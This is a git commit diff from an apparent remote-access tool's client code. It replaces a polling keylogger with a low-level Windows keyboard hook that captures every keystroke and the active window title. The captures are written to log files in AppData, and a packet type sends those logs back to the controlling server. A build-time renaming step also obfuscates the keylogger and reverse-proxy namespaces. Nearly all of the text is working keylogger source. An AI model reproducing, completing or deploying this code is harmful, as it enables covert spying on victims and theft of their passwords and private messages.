Merge pull request #150 from d3agle/dev

Keylogger hook
This commit is contained in:
MaxXor 2015-05-19 10:35:58 +02:00
commit c577ba41e1
6 changed files with 184 additions and 203 deletions

View File

@ -4,6 +4,7 @@ using System.Text;
using System.Reflection;
using xClient.Core.Keylogger;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
@ -92,7 +93,7 @@ namespace xClient.Core.Keylogger
/// <returns>True if key is pressed; False if the key is not.</returns>
public static bool IsKeyPressed(this short sender)
{
return (sender & 0x8000) == 0x8000;
return (sender & 0x8000) != 0;
}
/// <summary>
@ -102,7 +103,7 @@ namespace xClient.Core.Keylogger
/// <returns>True if toggled on; False if toggled off.</returns>
public static bool IsKeyToggled(this short sender)
{
return (sender & 0xffff) == 0xffff;
return (sender & 0x0001) != 0;
}
public static string BuildString(this KeyloggerModifierKeys sender)
@ -118,14 +119,28 @@ namespace xClient.Core.Keylogger
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(CtrlName))
BuiltModifierKeys.Append(CtrlName + " +");
BuiltModifierKeys.Append(CtrlName + " + ");
}
if (sender.AltKeyPressed)
{
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(AltName))
BuiltModifierKeys.Append(" " + AltName + " +");
BuiltModifierKeys.Append(AltName + " + ");
}
if (sender.ShiftKeyPressed)
{
string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(ShiftName))
BuiltModifierKeys.Append(ShiftName + " + ");
}
if (sender.WindowsKeyPressed)
{
string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(WinName))
BuiltModifierKeys.Append(WinName + " + ");
}
return BuiltModifierKeys.ToString();

View File

@ -20,10 +20,10 @@ namespace xClient.Core.Keylogger
public bool ShiftKeyPressed { get; set; }
public bool AltKeyPressed { get; set; }
public bool CtrlKeyPressed { get; set; }
public bool CapsLock { get; set; }
public bool NumLock { get; set; }
public bool ScrollLock { get; set; }
public bool WindowsKeyPressed { get; set; }
}
/// <summary>
@ -36,10 +36,12 @@ namespace xClient.Core.Keylogger
/// Gets the key that was pressed.
/// </summary>
public KeyloggerKeys PressedKey { get; set; }
/// <summary>
/// An object with the purpose of storing the states of modifier keys.
/// </summary>
public KeyloggerModifierKeys ModifierKeys { get; private set; }
/// <summary>
/// Determines if one of the modifier keys (excluding shift and caps
/// lock) has been set.
@ -61,14 +63,16 @@ namespace xClient.Core.Keylogger
// Modifier keys that have a state (toggle 'on' or 'off').
CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(),
NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(),
ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled()
ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled(),
WindowsKeyPressed =
Win32.GetAsyncKeyState(KeyloggerKeys.VK_LWIN).IsKeyToggled() ||
Win32.GetAsyncKeyState(KeyloggerKeys.VK_RWIN).IsKeyToggled()
};
// To avoid having to repeatedly check if one of the modifier
// keys (besides shift and caps lock) was set, just simply
// decide and then store it right here.
ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed ||
ModifierKeys.NumLock || ModifierKeys.ScrollLock);
ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || ModifierKeys.WindowsKeyPressed);
}
}
@ -178,7 +182,7 @@ namespace xClient.Core.Keylogger
/// <summary>
/// SPACEBAR key.
/// </summary>
[KeyloggerKey("SPACE", true)]
[KeyloggerKey(" ")]
VK_SPACE = 0x20,
/// <summary>
@ -793,37 +797,37 @@ namespace xClient.Core.Keylogger
/// <summary>
/// Left SHIFT key.
/// </summary>
[KeyloggerKey("LSHIFT", true)]
[KeyloggerKey("SHIFT", true)]
VK_LSHIFT = 0xA0,
/// <summary>
/// Right SHIFT key.
/// </summary>
[KeyloggerKey("RSHIFT", true)]
[KeyloggerKey("SHIFT", true)]
VK_RSHIFT = 0xA1,
/// <summary>
/// Left CONTROL (CTRL) key.
/// </summary>
[KeyloggerKey("LCTRL", true)]
[KeyloggerKey("CTRL", true)]
VK_LCONTROL = 0xA2,
/// <summary>
/// Right CONTROL (CTRL) key.
/// </summary>
[KeyloggerKey("RCTRL", true)]
[KeyloggerKey("CTRL", true)]
VK_RCONTROL = 0xA3,
/// <summary>
/// Left MENU key.
/// </summary>
[KeyloggerKey("LALT", true)]
[KeyloggerKey("ALT", true)]
VK_LMENU = 0xA4,
/// <summary>
/// Right MENU key.
/// </summary>
[KeyloggerKey("RALT", true)]
[KeyloggerKey("ALT", true)]
VK_RMENU = 0xA5,
/// <summary>

View File

@ -1,11 +1,10 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using xClient.Core.Keylogger;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger
{
@ -13,13 +12,11 @@ namespace xClient.Core.Keylogger
{
public static Logger Instance;
private bool IsEnabled = false;
public bool Enabled
{
get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; }
set
{
_timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value;
}
get { return this.IsEnabled; }
set { SetHook(value); }
}
private StringBuilder _logFileBuffer;
@ -29,17 +26,33 @@ namespace xClient.Core.Keylogger
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private readonly KeyloggerKeys[] _allKeys;
private readonly KeyloggerKeys[] _specialKeys;
private volatile List<LoggedKey> _keyBuffer;
private readonly System.Timers.Timer _timerLogKeys;
private readonly System.Timers.Timer _timerEmptyKeyBuffer;
private LoggedKey keyToLog;
private readonly List<LoggedKey> _keysDown = new List<LoggedKey>();
private readonly System.Timers.Timer _timerFlush;
public struct KeyData
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
private const int WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101;
private const int WM_SYSKEYDOWN = 0x104;
private const int WM_SYSKEYUP = 0x105;
private const int WH_KEYBOARD_LL = 13;
public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
private HookProcDelegate _hook;
private IntPtr _hookHandle = IntPtr.Zero;
/// <summary>
/// Creates the logging class that provides keylogging functionality.
/// </summary>
/// <param name="flushInterval">The interval, in milliseconds, to flush the contents of the keylogger to the file.</param>
public Logger(double flushInterval)
{
Instance = this;
@ -47,84 +60,12 @@ namespace xClient.Core.Keylogger
WriteFile();
_allKeys = GetKeyloggerKeys();
_specialKeys = GetSpecialKeys();
_keyBuffer = new List<LoggedKey>();
this._timerLogKeys = new System.Timers.Timer { Enabled = false, Interval = 10 };
this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 };
this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed;
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._logFileBuffer = new StringBuilder();
}
/// <summary>
/// Retrieves an array of all keylogger keys that are special.
/// </summary>
/// <returns></returns>
private KeyloggerKeys[] GetSpecialKeys()
{
List<KeyloggerKeys> SpecialKeys = new List<KeyloggerKeys>();
try
{
foreach (KeyloggerKeys key in _allKeys)
{
try
{
if (key.IsSpecialKey())
{
SpecialKeys.Add(key);
}
}
catch
{ }
}
}
catch
{ }
return SpecialKeys.ToArray();
}
/// <summary>
/// Retrieves an array of all keylogger keys that are supported.
/// </summary>
/// <returns></returns>
private KeyloggerKeys[] GetKeyloggerKeys()
{
List<KeyloggerKeys> NormalKeys = new List<KeyloggerKeys>();
try
{
foreach (KeyloggerKeys key in Enum.GetValues(typeof(KeyloggerKeys)))
{
try
{
// Must be supported (have a string representation of the key).
if (!string.IsNullOrEmpty(key.GetKeyloggerKeyName()))
{
NormalKeys.Add(key);
}
}
catch
{ }
}
return NormalKeys.ToArray();
}
catch
{
return new KeyloggerKeys[0];
}
}
private string HighlightSpecialKey(string name)
{
if (!string.IsNullOrEmpty(name))
@ -137,108 +78,110 @@ namespace xClient.Core.Keylogger
}
}
private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
private int HookProc(int nCode, int wParam, ref KeyData lParam)
{
int j = 0;
foreach (var k in _keyBuffer)
if (nCode >= 0)
{
try
switch (wParam)
{
// Make sure that the key that was logged is not null.
// If it is, we can safely ignore it by just making it
// stop here.
if (k != null)
{
// If any modifier key was set besides shift and caps
// lock, we will handle it differently than we would
// normal keys.
if (k.ModifierKeysSet)
{
// If the pressed key is special, it should be treated as such
// by using its provided name.
if (k.PressedKey.IsSpecialKey())
{
// The returned string could be empty. If it is, ignore it
// because we don't know how to handle that special key.
// The key would be considered unsupported.
string pressedKey = k.PressedKey.GetKeyloggerKeyName();
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
//TODO - handle modifier keys in a better way
//
// If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
// perhaps some sort of filter?
keyToLog = new LoggedKey();
keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
if (!string.IsNullOrEmpty(pressedKey))
if (!_keysDown.Contains(keyToLog))
{
try
{
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(_hWndTitle))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
// Only write the title to the log file if the names are different.
if (_hWndTitle != _hWndLastTitle)
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
if (keyToLog.ModifierKeysSet)
{
if (keyToLog.PressedKey.IsSpecialKey())
{
// The returned string could be empty. If it is, ignore it
// because we don't know how to handle that special key.
// The key would be considered unsupported.
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
// The pressed key is not special, but we have encountered
// a situation of multiple key presses, so just build them.
_logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
FromKeys(keyToLog)));
}
}
else
{
if (keyToLog.PressedKey.IsSpecialKey())
{
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
_logFileBuffer.Append(FromKeys(keyToLog));
}
}
}
else
catch
{
// The pressed key is not special, but we have encountered
// a situation of multiple key presses, so just build them.
_logFileBuffer.Append(HighlightSpecialKey(k.ModifierKeys.BuildString() +
FromKeys(k, false)));
}
}
// We don't have to worry about nearly all modifier keys...
// With the exception of the shift key and caps lock! :)
// At this point we know that shift or caps lock was the
// only pressed key.
else
{
// There is not really a need to handle if caps lock or
// shift has been handled because the way we obtain the
// value of the pressed key (that is not special) will
// use the key states and determine for us.
_logFileBuffer.Append(FromKeys(k));
}
}
}
catch
{ }
j++;
_keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
}
break;
case WM_KEYUP:
case WM_SYSKEYUP:
_keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
break;
}
}
if (j > 0 && j <= _keyBuffer.Count)
{
try
{
_keyBuffer.RemoveRange(0, j);
}
catch
{ }
}
return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
}
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
private void SetHook(bool enable)
{
// Loop through each value in the array of keys to record.
foreach (byte i in _allKeys)
switch (enable)
{
// GetAsycKeyState returns the result by setting the most significant
// bit if the key is up, and sets the least significant bit if the
// key was pressed.
if (Win32.GetAsyncKeyState(i) == -32767)
{
try
{
LoggedKey KeyToLog = new LoggedKey() { PressedKey = (KeyloggerKeys)i };
KeyToLog.RecordModifierKeys();
_keyBuffer.Add(KeyToLog);
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(_hWndTitle))
{
// Only write the title to the log file if the names are different.
if (_hWndTitle != _hWndLastTitle)
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
}
catch
{ }
}
case true:
_hook = new HookProcDelegate(HookProc);
_hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
//hook installed, enabled
_timerFlush.Enabled = true;
IsEnabled = true;
Application.Run(); //start message pump for our hook on this thread
break;
case false:
_timerFlush.Enabled = false;
if (_hookHandle != IntPtr.Zero)
Win32.UnhookWindowsHookEx(_hookHandle);
Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
break;
}
}
@ -312,20 +255,23 @@ namespace xClient.Core.Keylogger
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
}
private char? FromKeys(LoggedKey key, bool AllowCapitalization = true)
private char? FromKeys(LoggedKey key)
{
//keyStates is a byte array that specifies the current state of the keyboard and keys
//The keys we are interested in are modifier keys such as shift and caps lock
byte[] keyStates = new byte[256];
keyStates[(int)KeyloggerKeys.VK_SHIFT] = (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) ? (byte)128 : (byte)0;
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = (key.ModifierKeys.CapsLock && AllowCapitalization) ? (byte)128 : (byte)0;
if (key.ModifierKeys.ShiftKeyPressed)
keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
keyStates[(int)KeyloggerKeys.VK_MENU] = key.ModifierKeys.CtrlKeyPressed ? (byte)128 : (byte)0;
keyStates[(int)KeyloggerKeys.VK_CONTROL] = key.ModifierKeys.AltKeyPressed ? (byte)128 : (byte)0;
if (key.ModifierKeys.CapsLock)
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = key.ModifierKeys.NumLock ? (byte)128 : (byte)0;
keyStates[(int)KeyloggerKeys.VK_SCROLL] = key.ModifierKeys.ScrollLock ? (byte)128 : (byte)0;
if (key.ModifierKeys.NumLock)
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
if (key.ModifierKeys.ScrollLock)
keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
var sb = new StringBuilder(10);

View File

@ -1,10 +1,6 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
@ -49,5 +45,20 @@ namespace xClient.Core.Keylogger
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
[DllImport("kernel32.dll")]
internal static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr GetModuleHandle(string lpModuleName);
}
}

View File

@ -98,7 +98,7 @@ namespace xClient
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
typeof (Core.Packets.ClientPackets.GetLogsResponse)
typeof (Core.Packets.ClientPackets.GetLogsResponse),
});
ConnectClient.ClientState += ClientState;
@ -330,7 +330,7 @@ namespace xClient
}
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
{
CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client);
CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client);
}
}
}

View File

@ -58,9 +58,14 @@ namespace xServer.Core.Build
private void RenameInType(TypeDefinition typeDef)
{
if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") ||
typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" ||
typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf"))
if (typeDef.Namespace.StartsWith("My")
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|| typeDef.Namespace == "xClient.Core"
|| typeDef.Namespace == "xClient.Core.Elevation"
|| typeDef.Namespace == "xClient.Core.Compression"
|| typeDef.Namespace.StartsWith("ProtoBuf")
|| typeDef.Namespace.Contains("xClient.Core.ReverseProxy")
|| typeDef.Namespace.Contains("xClient.Core.Keylogger"))
return;
TypeOverloader.GiveName(typeDef);